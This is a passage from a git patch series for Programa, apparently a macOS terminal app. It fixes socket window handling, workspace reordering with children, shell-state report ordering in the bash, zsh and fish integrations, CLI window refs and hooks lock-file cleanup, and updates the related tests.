`NSWorkspace.urlForApplication(toOpen:)` Launch Services call. Both are omitted if resolution fails. +## Debug-only methods + +`debug.*` methods, including `debug.terminals` (the window, workspace, pane and surface mapping +of every terminal), exist only in Debug builds. Release builds answer them with +`method_not_found`. + ## Tests `tests_v2/` contains socket integration tests, using `tests_v2/programa_client.py` where a client diff --git a/programaTests/TerminalAndGhosttyTests.swift b/programaTests/TerminalAndGhosttyTests.swift index 6091fc69d..a4bb2c908 100644 --- a/programaTests/TerminalAndGhosttyTests.swift +++ b/programaTests/TerminalAndGhosttyTests.swift @@ -379,18 +379,6 @@ final class GhosttyPasteboardHelperTests: XCTestCase { XCTAssertTrue(FileManager.default.fileExists(atPath: fileURL.path)) } - func testCleanupTransferredTemporaryImageFilesDoesNotDeleteUnownedClipboardPrefixedFile() throws { - let fileURL = FileManager.default.temporaryDirectory.appendingPathComponent( - "clipboard-report-\(UUID().uuidString).png" - ) - try Data("report".utf8).write(to: fileURL) - defer { try? FileManager.default.removeItem(at: fileURL) } - - GhosttyPasteboardHelper.cleanupTransferredTemporaryImageFiles([fileURL]) - - XCTAssertTrue(FileManager.default.fileExists(atPath: fileURL.path)) - } - func testLocalImageDropPlanInsertsEscapedLocalPath() throws { let pasteboard = NSPasteboard(name: .init("programa-test-local-drop-\(UUID().uuidString)")) pasteboard.clearContents() diff --git a/tests_v2/ci_subset.txt b/tests_v2/ci_subset.txt index 71eb69754..1f14169ee 100644 --- a/tests_v2/ci_subset.txt +++ b/tests_v2/ci_subset.txt @@ -3,7 +3,7 @@ # tests. The full suite still runs manually on the VM via # scripts/run-tests-v2.sh. # -# Do NOT add: test_ctrl_interactive.py, test_splits_focus_close_resize.py, +# Do NOT add: test_splits_focus_close_resize.py, # test_visual_screenshots.py, test_notifications.py. test_cli_id_format_defaults.py # test_windows_api.py — excluded on CI: moved surfaces report in_window=false on diff --git a/tests_v2/test_mcp_server_e2e.py b/tests_v2/test_mcp_server_e2e.py index cbd13e779..d2e1c5d09 100644 --- a/tests_v2/test_mcp_server_e2e.py +++ b/tests_v2/test_mcp_server_e2e.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -"""CI-only end-to-end coverage for the `programa-mcp` sidecar (docs/plans/mcp-server.md). +"""CI-only end-to-end coverage for the `programa-mcp` sidecar (docs/mcp-server.md). Spawns the real `programa-mcp` binary as a subprocess, speaks MCP over stdio against a *live, running* tagged Programa build's control socket, and exercises the sidecar the way an From 8e5d64197b9a2a6e137c1e3b91c10a235ab8fcf3 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 13:03:21 -0300 Subject: [PATCH 10/21] fix: repoint the socket's active window when a socket-created window closes --- Sources/AppDelegate.swift | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/Sources/AppDelegate.swift b/Sources/AppDelegate.swift index 6e7cd3096..265e2ff37 100644 --- a/Sources/AppDelegate.swift +++ b/Sources/AppDelegate.swift @@ -4004,6 +4004,7 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser TerminalController.shared.setActiveTabManager(nil) } } + repointSocketTabManagerIfOrphaned() if let store = notificationStore { for tab in context.tabManager.tabs { @@ -8789,6 +8790,14 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser #endif } + /// The socket's active manager can belong to a window the app never made active (one + /// created over the socket without focus), so it is repointed on its own when that goes. + private func repointSocketTabManagerIfOrphaned() { + guard let socketManager = TerminalController.shared.tabManager, + !mainWindowContexts.values.contains(where: { $0.tabManager === socketManager }) else { return } + TerminalController.shared.setActiveTabManager(tabManager ?? mainWindowContexts.values.first?.tabManager) + } + private func unregisterMainWindow(_ window: NSWindow) { // Reset cascade point so the next new window appears near the closing // window's position, matching upstream Ghostty behavior. @@ -8849,6 +8858,7 @@ final class AppDelegate: NSObject, NSApplicationDelegate, @preconcurrency UNUser TerminalController.shared.setActiveTabManager(nil) } } + repointSocketTabManagerIfOrphaned() teardownMainWindowContext(removed) releaseClosedMainWindowContent(window) From 83667e6b4405512a9f5c9131af492935274499ad Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 13:03:21 -0300 Subject: [PATCH 11/21] fix: move workspace up/down with its children so hierarchy ordering does not undo it --- Sources/ContentView.swift | 7 ++--- Sources/ProgramaApp.swift | 7 ++--- Sources/TabManager.swift | 33 ++++++++++++++++++++++ Sources/TerminalController+Workspace.swift | 8 +++--- programaTests/ShellFixSweepSHELTests.swift | 22 +++++++++++++++ 5 files changed, 63 insertions(+), 14 deletions(-) diff --git a/Sources/ContentView.swift b/Sources/ContentView.swift index b60fe539c..cc604d833 100644 --- a/Sources/ContentView.swift +++ b/Sources/ContentView.swift @@ -5295,11 +5295,8 @@ struct ContentView: View { } private func moveSelectedWorkspace(by delta: Int) { - guard let workspace = tabManager.selectedWorkspace, - let currentIndex = selectedWorkspaceIndex() else { return } - let targetIndex = currentIndex + delta - guard targetIndex >= 0, targetIndex < tabManager.tabs.count else { return } - _ = tabManager.reorderWorkspace(tabId: workspace.id, toIndex: targetIndex) + guard let workspace = tabManager.selectedWorkspace else { return } + tabManager.moveWorkspaceAmongSiblings(tabId: workspace.id, by: delta) tabManager.selectWorkspace(workspace) } diff --git a/Sources/ProgramaApp.swift b/Sources/ProgramaApp.swift index 11b7e97cf..3cfaa432f 100644 --- a/Sources/ProgramaApp.swift +++ b/Sources/ProgramaApp.swift @@ -899,11 +899,8 @@ struct programaApp: App { } private func moveSelectedWorkspace(in manager: TabManager, by delta: Int) { - guard let workspace = manager.selectedWorkspace, - let currentIndex = selectedWorkspaceIndex(in: manager, workspaceId: workspace.id) else { return } - let targetIndex = currentIndex + delta - guard targetIndex >= 0, targetIndex < manager.tabs.count else { return } - _ = manager.reorderWorkspace(tabId: workspace.id, toIndex: targetIndex) + guard let workspace = manager.selectedWorkspace else { return } + manager.moveWorkspaceAmongSiblings(tabId: workspace.id, by: delta) manager.selectWorkspace(workspace) } diff --git a/Sources/TabManager.swift b/Sources/TabManager.swift index 0002b6705..608c7c62d 100644 --- a/Sources/TabManager.swift +++ b/Sources/TabManager.swift @@ -1909,6 +1909,39 @@ class TabManager: ObservableObject { tabs = orderedIds.compactMap { byId[$0] } } + /// Move Up/Down: swaps the workspace and its children with the neighbouring sibling and + /// its children, so the order stays canonical and `canonicalizeHierarchyOrderIfNeeded` + /// does not undo the move. A workspace with no sibling in that direction stays put. + @discardableResult + func moveWorkspaceAmongSiblings(tabId: UUID, by delta: Int) -> Bool { + guard delta == 1 || delta == -1, + let index = tabs.firstIndex(where: { $0.id == tabId }) else { return false } + let presentIds = Set(tabs.map(\.id)) + func parent(_ workspace: Workspace) -> UUID? { + hierarchyParentId(of: workspace).flatMap { presentIds.contains($0) ? $0 : nil } + } + let workspace = tabs[index] + let siblingIndices = tabs.indices.filter { + parent(tabs[$0]) == parent(workspace) && tabs[$0].isPinned == workspace.isPinned + } + guard let position = siblingIndices.firstIndex(of: index), + siblingIndices.indices.contains(position + delta) else { return false } + let upper = min(index, siblingIndices[position + delta]) + let lower = max(index, siblingIndices[position + delta]) + var members: Set = [tabs[lower].id] + var lowerEnd = lower + 1 + while lowerEnd < tabs.count, let parentId = parent(tabs[lowerEnd]), members.contains(parentId) { + members.insert(tabs[lowerEnd].id) + lowerEnd += 1 + } + var reordered = tabs + let lowerBlock = Array(reordered[lower.. Bool { guard let currentIndex = tabs.firstIndex(where: { $0.id == tabId }) else { return false } diff --git a/Sources/TerminalController+Workspace.swift b/Sources/TerminalController+Workspace.swift index 8d1bd4198..520412546 100644 --- a/Sources/TerminalController+Workspace.swift +++ b/Sources/TerminalController+Workspace.swift @@ -599,19 +599,19 @@ extension TerminalController { finish(["description": NSNull()]) case "move_up": - guard let currentIndex = tabManager.tabs.firstIndex(where: { $0.id == workspace.id }) else { + guard tabManager.tabs.contains(where: { $0.id == workspace.id }) else { result = .err(code: "not_found", message: "Workspace not found", data: nil) return result } - _ = tabManager.reorderWorkspace(tabId: workspace.id, toIndex: max(currentIndex - 1, 0)) + tabManager.moveWorkspaceAmongSiblings(tabId: workspace.id, by: -1) finish(["index": v2OrNull(tabManager.tabs.firstIndex(where: { $0.id == workspace.id }))]) case "move_down": - guard let currentIndex = tabManager.tabs.firstIndex(where: { $0.id == workspace.id }) else { + guard tabManager.tabs.contains(where: { $0.id == workspace.id }) else { result = .err(code: "not_found", message: "Workspace not found", data: nil) return result } - _ = tabManager.reorderWorkspace(tabId: workspace.id, toIndex: min(currentIndex + 1, tabManager.tabs.count - 1)) + tabManager.moveWorkspaceAmongSiblings(tabId: workspace.id, by: 1) finish(["index": v2OrNull(tabManager.tabs.firstIndex(where: { $0.id == workspace.id }))]) case "move_top": diff --git a/programaTests/ShellFixSweepSHELTests.swift b/programaTests/ShellFixSweepSHELTests.swift index 54ed5ebdf..a33c814c1 100644 --- a/programaTests/ShellFixSweepSHELTests.swift +++ b/programaTests/ShellFixSweepSHELTests.swift @@ -212,4 +212,26 @@ final class NotificationReorderHierarchyTests: XCTestCase { manager.moveTabToTopForNotification(c.id) XCTAssertEqual(manager.tabs.map(\.id), [b.id, c.id, a.id]) } + + func testMoveDownCarriesChildrenPastTheNextSibling() { + let (manager, a, b, c) = makeManager() + c.agentParentWorkspaceId = a.id + manager.canonicalizeHierarchyOrderIfNeeded() + + XCTAssertTrue(manager.moveWorkspaceAmongSiblings(tabId: a.id, by: 1)) + XCTAssertEqual(manager.tabs.map(\.id), [b.id, a.id, c.id], "Move Down must not be undone by the hierarchy order") + + XCTAssertTrue(manager.moveWorkspaceAmongSiblings(tabId: a.id, by: -1)) + XCTAssertEqual(manager.tabs.map(\.id), [a.id, c.id, b.id]) + } + + func testOnlyChildCannotMoveOutOfItsParent() { + let (manager, a, b, c) = makeManager() + c.agentParentWorkspaceId = a.id + manager.canonicalizeHierarchyOrderIfNeeded() + + XCTAssertFalse(manager.moveWorkspaceAmongSiblings(tabId: c.id, by: -1)) + XCTAssertFalse(manager.moveWorkspaceAmongSiblings(tabId: c.id, by: 1)) + XCTAssertEqual(manager.tabs.map(\.id), [a.id, c.id, b.id]) + } } From dc1b14bfef703d1d80f2900f14c8a27d8b9a9eb1 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 13:03:21 -0300 Subject: [PATCH 12/21] fix: skip superseded background shell-state reports so a stale prompt never lands last --- Resources/shell-integration/fish/config.fish | 7 +++++-- .../programa-bash-integration.bash | 8 ++++++-- .../programa-zsh-integration.zsh | 14 +++++++++++--- tests/test_shell_state_report_ordering.py | 16 +++++++++++++--- 4 files changed, 35 insertions(+), 10 deletions(-) diff --git a/Resources/shell-integration/fish/config.fish b/Resources/shell-integration/fish/config.fish index f3b61d0e1..f9c24ef04 100644 --- a/Resources/shell-integration/fish/config.fish +++ b/Resources/shell-integration/fish/config.fish @@ -108,7 +108,8 @@ if test "$_programa_integration_enabled" != 0 # Shell-state reports run before every command and prompt, so they must not wait on a # CLI process. Each report runs the CLI in the background with the next ticket and waits # (at most 2 s) until the previous ticket is done, so a `prompt` report never overtakes - # the `running` report before it. Same runner as the bash integration. + # the `running` report before it. A report whose successor was already issued is skipped + # (each report is the full state). Same runner as the bash integration. set -g _PROGRAMA_SHELL_STATE_SEQ 0 set -g _PROGRAMA_SHELL_STATE_RUNNER 'ticket=$1 file=$2; shift 2; i=0 while [ "$ticket" -gt 1 ] && [ $i -lt 200 ]; do @@ -116,7 +117,8 @@ while [ "$ticket" -gt 1 ] && [ $i -lt 200 ]; do [ "$done_ticket" = "$((ticket - 1))" ] && break sleep 0.01; i=$((i + 1)) done -PROGRAMA_CLI_RESPONSE_TIMEOUT_SEC=1 "$@" >/dev/null 2>&1 +latest=; { read -r latest < "$file.latest"; } 2>/dev/null +[ "${latest:-0}" -gt "$ticket" ] 2>/dev/null || PROGRAMA_CLI_RESPONSE_TIMEOUT_SEC=1 "$@" >/dev/null 2>&1 printf "%s\\n" "$ticket" > "$file"' function _programa_relay_rpc_ordered_bg --argument-names method params set -l relay_cli (_programa_relay_cli_path) @@ -128,6 +130,7 @@ printf "%s\\n" "$ticket" > "$file"' if test "$_PROGRAMA_SHELL_STATE_SEQ" = 1 printf '0\n' >$file end + printf '%s\n' $_PROGRAMA_SHELL_STATE_SEQ >$file.latest /bin/sh -c "$_PROGRAMA_SHELL_STATE_RUNNER" programa-shell-state \ $_PROGRAMA_SHELL_STATE_SEQ $file $relay_cli rpc $method $params >/dev/null 2>&1 & disown $last_pid 2>/dev/null diff --git a/Resources/shell-integration/programa-bash-integration.bash b/Resources/shell-integration/programa-bash-integration.bash index 1f02f6e3f..2eea89ad7 100644 --- a/Resources/shell-integration/programa-bash-integration.bash +++ b/Resources/shell-integration/programa-bash-integration.bash @@ -80,7 +80,9 @@ _programa_relay_rpc() { # process (bash has no Unix-socket builtin). Each report runs the CLI in the background with # the next ticket and waits (at most 2 s) until the previous ticket is done, so a `prompt` # report never overtakes the `running` report before it. A finished background job can linger -# as a zombie, so tickets live in a per-shell file rather than in `kill -0` checks. +# as a zombie, so tickets live in a per-shell file rather than in `kill -0` checks. Each report +# is the full shell state, so a report whose successor was already issued is skipped: a late +# `prompt` can never land after a newer `running`. _PROGRAMA_SHELL_STATE_SEQ=0 _PROGRAMA_SHELL_STATE_RUNNER='ticket=$1 file=$2; shift 2; i=0 while [ "$ticket" -gt 1 ] && [ $i -lt 200 ]; do @@ -88,7 +90,8 @@ while [ "$ticket" -gt 1 ] && [ $i -lt 200 ]; do [ "$done_ticket" = "$((ticket - 1))" ] && break sleep 0.01; i=$((i + 1)) done -PROGRAMA_CLI_RESPONSE_TIMEOUT_SEC=1 "$@" >/dev/null 2>&1 +latest=; { read -r latest < "$file.latest"; } 2>/dev/null +[ "${latest:-0}" -gt "$ticket" ] 2>/dev/null || PROGRAMA_CLI_RESPONSE_TIMEOUT_SEC=1 "$@" >/dev/null 2>&1 printf "%s\n" "$ticket" > "$file"' _programa_relay_rpc_ordered_bg() { local method="$1" @@ -98,6 +101,7 @@ _programa_relay_rpc_ordered_bg() { relay_cli="$(_programa_relay_cli_path)" || return 1 _PROGRAMA_SHELL_STATE_SEQ=$((_PROGRAMA_SHELL_STATE_SEQ + 1)) (( _PROGRAMA_SHELL_STATE_SEQ == 1 )) && printf '0\n' > "$file" + printf '%s\n' "$_PROGRAMA_SHELL_STATE_SEQ" > "$file.latest" # Spawned from a subshell so the interactive shell registers no job (no "[1] PID" noise). ( /bin/sh -c "$_PROGRAMA_SHELL_STATE_RUNNER" programa-shell-state \ "$_PROGRAMA_SHELL_STATE_SEQ" "$file" "$relay_cli" rpc "$method" "$params" >/dev/null 2>&1 & ) diff --git a/Resources/shell-integration/programa-zsh-integration.zsh b/Resources/shell-integration/programa-zsh-integration.zsh index 51c6687a9..4cc8eddee 100644 --- a/Resources/shell-integration/programa-zsh-integration.zsh +++ b/Resources/shell-integration/programa-zsh-integration.zsh @@ -107,7 +107,8 @@ _programa_socket_rpc_direct() { # Fallback for _programa_socket_rpc_direct: the CLI in the background with the next ticket, # waiting (at most 2 s) until the previous ticket is done, so the prompt never waits and -# reports still arrive in order. Same runner as the bash and fish integrations. +# reports still arrive in order. A report whose successor was already issued is skipped (each +# report is the full state). Same runner as the bash and fish integrations. typeset -g _PROGRAMA_SHELL_STATE_SEQ=0 typeset -g _PROGRAMA_SHELL_STATE_FILE="${TMPDIR:-$HOME}/.programa-shell-state.$$" typeset -g _PROGRAMA_SHELL_STATE_RUNNER='ticket=$1 file=$2; shift 2; i=0 @@ -116,12 +117,14 @@ while [ "$ticket" -gt 1 ] && [ $i -lt 200 ]; do [ "$done_ticket" = "$((ticket - 1))" ] && break sleep 0.01; i=$((i + 1)) done -PROGRAMA_CLI_RESPONSE_TIMEOUT_SEC=1 "$@" >/dev/null 2>&1 +latest=; { read -r latest < "$file.latest"; } 2>/dev/null +[ "${latest:-0}" -gt "$ticket" ] 2>/dev/null || PROGRAMA_CLI_RESPONSE_TIMEOUT_SEC=1 "$@" >/dev/null 2>&1 printf "%s\n" "$ticket" > "$file"' _programa_relay_rpc_ordered_bg() { local method="$1" params="$2" relay_cli="" relay_cli="$(_programa_relay_cli_path)" || return 1 (( ++_PROGRAMA_SHELL_STATE_SEQ == 1 )) && print -r -- 0 >| "$_PROGRAMA_SHELL_STATE_FILE" + print -r -- "$_PROGRAMA_SHELL_STATE_SEQ" >| "$_PROGRAMA_SHELL_STATE_FILE.latest" /bin/sh -c "$_PROGRAMA_SHELL_STATE_RUNNER" programa-shell-state \ "$_PROGRAMA_SHELL_STATE_SEQ" "$_PROGRAMA_SHELL_STATE_FILE" "$relay_cli" rpc "$method" "$params" >/dev/null 2>&1 &! } @@ -523,7 +526,12 @@ _programa_report_shell_activity_state() { state_json="${state_json//\\/\\\\}" state_json="${state_json//\"/\\\"}" params="{\"workspace_id\":\"$workspace_id\",\"surface_id\":\"$PROGRAMA_PANEL_ID\",\"state\":\"$state_json\"}" - _programa_socket_rpc_direct "{\"id\":1,\"method\":\"surface.report_shell_state\",\"params\":$params}" \ + # While a background report is still in flight, queue behind it instead of overtaking it. + local pending=0 + (( _PROGRAMA_SHELL_STATE_SEQ > 0 )) \ + && [[ "$(<$_PROGRAMA_SHELL_STATE_FILE)" != "$_PROGRAMA_SHELL_STATE_SEQ" ]] 2>/dev/null \ + && pending=1 + { (( ! pending )) && _programa_socket_rpc_direct "{\"id\":1,\"method\":\"surface.report_shell_state\",\"params\":$params}"; } \ || _programa_relay_rpc_ordered_bg "surface.report_shell_state" "$params" \ || return 0 _PROGRAMA_SHELL_ACTIVITY_LAST="$state" diff --git a/tests/test_shell_state_report_ordering.py b/tests/test_shell_state_report_ordering.py index 56bc1bdf2..8ca377ffc 100644 --- a/tests/test_shell_state_report_ordering.py +++ b/tests/test_shell_state_report_ordering.py @@ -3,7 +3,9 @@ The zsh and bash integrations report `running` before a command and `prompt` after it. A slow CLI must not delay the shell, a late `running` must not land after the next `prompt`, -and bash must not print job-control noise ("[1] 1234") into the user's terminal. +and bash must not print job-control noise ("[1] 1234") into the user's terminal. Each report +is the full shell state, so a fallback report may be skipped once a newer one was issued; the +CLI must still see the reports in order and finish on the newest state. The real integration scripts are sourced into a real shell. The CLI is a stub that sleeps longer for `running` than for `prompt`, so any lost ordering shows up in its log. The fake @@ -135,6 +137,14 @@ def report_script(self, integration: Path, settle: float) -> str: calls = "\n".join(f"_programa_report_shell_activity_state {s}" for s in STATES) return f'source "{integration}"\n{calls}\nsleep {settle}\n' + def assert_delivered_in_order(self, stderr: str) -> None: + logged = self.logged() + self.assertTrue(logged, stderr) + self.assertEqual(logged[-1], STATES[-1], f"the newest state must land last: {logged}") + remaining = iter(enumerate(STATES)) + self.assertTrue(all(any(state == want for _, want in remaining) for state in logged), + f"reports arrived out of order: {logged}") + def test_zsh_fallback_keeps_order_without_blocking(self) -> None: with FakeSocket(self.sock_path, AUTH_REQUIRED): # The reports themselves must return long before the 0.4 s stub finishes. @@ -142,7 +152,7 @@ def test_zsh_fallback_keeps_order_without_blocking(self) -> None: script = script.replace("sleep 3", 'echo "REPORTS_DONE $EPOCHREALTIME"; sleep 3') start = time.time() proc = self.run_shell(["zsh", "-f"], 'zmodload zsh/datetime; ' + script, 3) - self.assertEqual(self.logged(), STATES, proc.stderr) + self.assert_delivered_in_order(proc.stderr) done = re.search(r"REPORTS_DONE (\d+\.\d+)", proc.stdout) self.assertIsNotNone(done, proc.stdout + proc.stderr) self.assertLess(float(done.group(1)) - start, 1.0, "the four reports must not wait on the slow CLI") @@ -166,7 +176,7 @@ def test_bash_keeps_order_without_job_noise(self) -> None: with FakeSocket(self.sock_path, AUTH_REQUIRED): proc = self.run_shell([bash, "--norc", "--noprofile", "-i", "-m"], self.report_script(BASH_INTEGRATION, 3), 3) - self.assertEqual(self.logged(), STATES, proc.stderr) + self.assert_delivered_in_order(proc.stderr) self.assertIsNone(re.search(r"\[\d+\]\s+\d+", proc.stderr + proc.stdout), f"job-control noise leaked: {proc.stderr!r}") From 5cc18d338ac0b3c36f300555a6a62f68828d04c2 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 13:03:21 -0300 Subject: [PATCH 13/21] test: use the shell-reported tty and a browser tab in the socket sweep tests --- tests_v2/test_socket_limits_and_focus_sweep.py | 10 +++++----- .../test_surface_resolve_tty_and_agent_spawn_pane.py | 10 +++++----- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/tests_v2/test_socket_limits_and_focus_sweep.py b/tests_v2/test_socket_limits_and_focus_sweep.py index 6a9f1346b..2b28b4a1d 100644 --- a/tests_v2/test_socket_limits_and_focus_sweep.py +++ b/tests_v2/test_socket_limits_and_focus_sweep.py @@ -56,15 +56,15 @@ def main() -> int: time.sleep(0.3) _must(_focused_pane(c) == focused, "surface.split moved the focused pane") - sid = c.list_surfaces()[0][1] - c._call("tab.action", {"action": "duplicate", "surface_id": sid}) - time.sleep(0.3) - _must(_focused_pane(c) == focused, "tab.action duplicate moved the focused pane") - # 5. browser tab close with a bad index (done while a browser tab exists) browser_id = c.open_browser("about:blank") time.sleep(0.5) _must(_focused_pane(c) == focused, "browser.open_split moved the focused pane") + + # duplicate only applies to browser tabs + c._call("tab.action", {"action": "duplicate", "surface_id": browser_id}) + time.sleep(0.3) + _must(_focused_pane(c) == focused, "tab.action duplicate moved the focused pane") surfaces_before = [s[1] for s in c.list_surfaces()] try: c._call("browser.tab.close", {"index": 99}) diff --git a/tests_v2/test_surface_resolve_tty_and_agent_spawn_pane.py b/tests_v2/test_surface_resolve_tty_and_agent_spawn_pane.py index f2908aa39..5ac1974c1 100644 --- a/tests_v2/test_surface_resolve_tty_and_agent_spawn_pane.py +++ b/tests_v2/test_surface_resolve_tty_and_agent_spawn_pane.py @@ -3,7 +3,7 @@ resolve_tty: a known tty (as /dev/ttysNNN or bare ttysNNN) resolves to exactly that surface and returns only its ids (no `terminals` list); an unknown tty is not_found; a missing tty is -invalid_params. The tty is attached with surface.report_tty and read back through +invalid_params. The tty is the one the shell integration reports, read back through debug.terminals (Debug builds only, which is what CI runs). agent.spawn: pane_id equals the pane pane/surface listing reports for the returned surface_id. @@ -12,7 +12,6 @@ import os import sys import time -import uuid from pathlib import Path sys.path.insert(0, str(Path(__file__).parent)) @@ -40,9 +39,10 @@ def _tty_of(c: ProgramaClient, surface_id: str) -> str | None: def _test_resolve_tty(c: ProgramaClient, ws: str, surface: str) -> None: - tty = "ttys" + str(int(uuid.uuid4().int % 900000) + 100000) - c._call("surface.report_tty", {"workspace_id": ws, "surface_id": surface, "tty_name": tty}) - wait_until(lambda: _tty_of(c, surface) == tty, timeout_s=5.0, message="tty never appeared in debug.terminals") + # Use the tty the shell integration reports for the surface. A fake tty sent through + # surface.report_tty is overwritten as soon as the real shell reports its own. + wait_until(lambda: bool(_tty_of(c, surface)), timeout_s=15.0, message="surface never reported a tty") + tty = str(_tty_of(c, surface)).rsplit("/", 1)[-1] for form in (f"/dev/{tty}", tty): res = c._call("surface.resolve_tty", {"tty": form}) or {} From 998bb9fcb73fc16ef5b502e3da2cc96fee83549b Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 13:04:32 -0300 Subject: [PATCH 14/21] fix: let focus-window and close-window accept window refs --- CLI/programa.swift | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/CLI/programa.swift b/CLI/programa.swift index 3f71b3944..847d2c5dc 100644 --- a/CLI/programa.swift +++ b/CLI/programa.swift @@ -838,9 +838,9 @@ struct ProgramaCLI { guard let target = self.optionValue(ctx.commandArgs, name: "--window") else { throw CLIError(message: "focus-window requires --window") } - // v1 only ever accepted a literal window UUID (no index/ref resolution) — preserve - // that exactly rather than widening acceptance via normalizeWindowHandle. - guard self.isUUID(target.trimmingCharacters(in: .whitespacesAndNewlines)) else { + // A UUID or a short ref (new-window prints a ref); bare indexes are rejected. + guard self.isUUID(target.trimmingCharacters(in: .whitespacesAndNewlines)) + || self.isHandleRef(target.trimmingCharacters(in: .whitespacesAndNewlines)) else { throw CLIError(message: "ERROR: Invalid window id") } do { @@ -864,14 +864,15 @@ struct ProgramaCLI { --window Window to close (required) Example: - programa close-window --window 0 + programa close-window --window programa close-window --window window:1 """, execute: { ctx in guard let target = self.optionValue(ctx.commandArgs, name: "--window") else { throw CLIError(message: "close-window requires --window") } - guard self.isUUID(target.trimmingCharacters(in: .whitespacesAndNewlines)) else { + guard self.isUUID(target.trimmingCharacters(in: .whitespacesAndNewlines)) + || self.isHandleRef(target.trimmingCharacters(in: .whitespacesAndNewlines)) else { throw CLIError(message: "ERROR: Invalid window id") } do { @@ -5313,7 +5314,8 @@ struct ProgramaCLI { case "focus-window", "close-window": let parsed = try parse(values: ["window"]) try require(["window"], in: parsed.options) - guard let rawWindow = parsed.options["window"], isUUID(rawWindow.trimmingCharacters(in: .whitespacesAndNewlines)) else { + guard let rawWindow = parsed.options["window"]?.trimmingCharacters(in: .whitespacesAndNewlines), + isUUID(rawWindow) || isHandleRef(rawWindow) else { throw CLIError(message: "\(command): invalid window id") } From 186403366fe6852cea752850efac17c7c453cc92 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 13:24:03 -0300 Subject: [PATCH 15/21] fix: remove the codex hooks lock file when an install is declined --- CLI/CLI+Hooks.swift | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/CLI/CLI+Hooks.swift b/CLI/CLI+Hooks.swift index 87135c146..9ceeed1f9 100644 --- a/CLI/CLI+Hooks.swift +++ b/CLI/CLI+Hooks.swift @@ -1895,16 +1895,23 @@ extension ProgramaCLI { func withCodexHooksLock(at home: String, _ body: () throws -> T) throws -> T { let path = (home as NSString).appendingPathComponent(".programa-hooks.lock") + var existing = stat() + let createdLock = path.withCString { Darwin.lstat($0, &existing) } != 0 let descriptor = path.withCString { Darwin.open($0, O_RDWR | O_CREAT | O_CLOEXEC | O_NOFOLLOW, 0o600) } guard descriptor >= 0 else { throw codexPOSIXError("open lock", path: path) } defer { Darwin.close(descriptor) } + var succeeded = false + // A declined or failed run leaves no new file behind in the user's Codex home. + defer { if createdLock && !succeeded { _ = path.withCString { unlink($0) } } } var info = stat() guard fstat(descriptor, &info) == 0, (info.st_mode & S_IFMT) == S_IFREG else { throw CodexHooksError(message: "\(path) is not a regular lock file") } guard flock(descriptor, LOCK_EX) == 0 else { throw codexPOSIXError("lock", path: path) } defer { flock(descriptor, LOCK_UN) } - return try body() + let result = try body() + succeeded = true + return result } func codexReadRegularFile(_ path: String, limit: Int, refuseSymlink: Bool) throws -> CodexFileSnapshot? { From ec02ad6957eb61d7c4336f43f838551ed0fbdf8b Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 13:24:03 -0300 Subject: [PATCH 16/21] test: give the nested layout fixture a valid two-child split --- programaTests/ConfigFixSweepCONFTests.swift | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/programaTests/ConfigFixSweepCONFTests.swift b/programaTests/ConfigFixSweepCONFTests.swift index 8f171181e..0c55c77fd 100644 --- a/programaTests/ConfigFixSweepCONFTests.swift +++ b/programaTests/ConfigFixSweepCONFTests.swift @@ -350,13 +350,14 @@ final class ConfigFixSweepCONFTests: XCTestCase { {"commands":[{"name":"x","workspace":{"name":"dev","layout":{"direction":"horizontal","children":[ {"pane":{"surfaces":[{"type":"terminal","command":"first-thing"}]}}, {"direction":"vertical","children":[ - {"pane":{"surfaces":[{"type":"terminal","command":"second-thing"}]}}]}]}}}]} + {"pane":{"surfaces":[{"type":"terminal","command":"second-thing"}]}}, + {"pane":{"surfaces":[{"type":"terminal","command":"third-thing"}]}}]}]}}}]} """ let command = try XCTUnwrap(decodeConfig(json).commands.first) XCTAssertEqual( ProgramaConfigExecutor.commandTexts(of: command, resolvedCommand: nil), - ["first-thing", "second-thing"] + ["first-thing", "second-thing", "third-thing"] ) } From c3baf5d4b3b2420aad6c2cb9ff375061f278d1fc Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 13:24:03 -0300 Subject: [PATCH 17/21] test: assert native tab-bar double-click no longer requests a new tab --- .../bonsplit/Tests/BonsplitTests/BonsplitTests.swift | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/vendor/bonsplit/Tests/BonsplitTests/BonsplitTests.swift b/vendor/bonsplit/Tests/BonsplitTests/BonsplitTests.swift index de355bc21..abb4b70f6 100644 --- a/vendor/bonsplit/Tests/BonsplitTests/BonsplitTests.swift +++ b/vendor/bonsplit/Tests/BonsplitTests/BonsplitTests.swift @@ -522,7 +522,7 @@ final class BonsplitTests: XCTestCase { } @MainActor - func testDoubleClickingEmptyTrailingTabBarSpaceRequestsNewTerminalTab() { + func testDoubleClickingEmptyTrailingTabBarSpaceDoesNotRequestNewTab() { let appearance = BonsplitConfiguration.Appearance(showSplitButtons: false) let configuration = BonsplitConfiguration(appearance: appearance) let controller = BonsplitController(configuration: configuration) @@ -561,10 +561,12 @@ final class BonsplitTests: XCTestCase { XCTFail("Expected mouse event") return } - NSApp.sendEvent(event) + // Empty tab-bar space behaves like a title bar: a double-click runs the system + // double-click action (zoom or minimize), never a new tab. + window.sendEvent(event) - XCTAssertEqual(spy.requestedKind, "terminal") - XCTAssertEqual(spy.requestedPaneId, pane.id) + XCTAssertNil(spy.requestedKind) + XCTAssertNil(spy.requestedPaneId) } func testIconSaturationKeepsRasterFaviconInColorWhenInactive() { From 73768cce6380e44291e80ecc6e3c2d76eb249dd2 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 13:41:16 -0300 Subject: [PATCH 18/21] 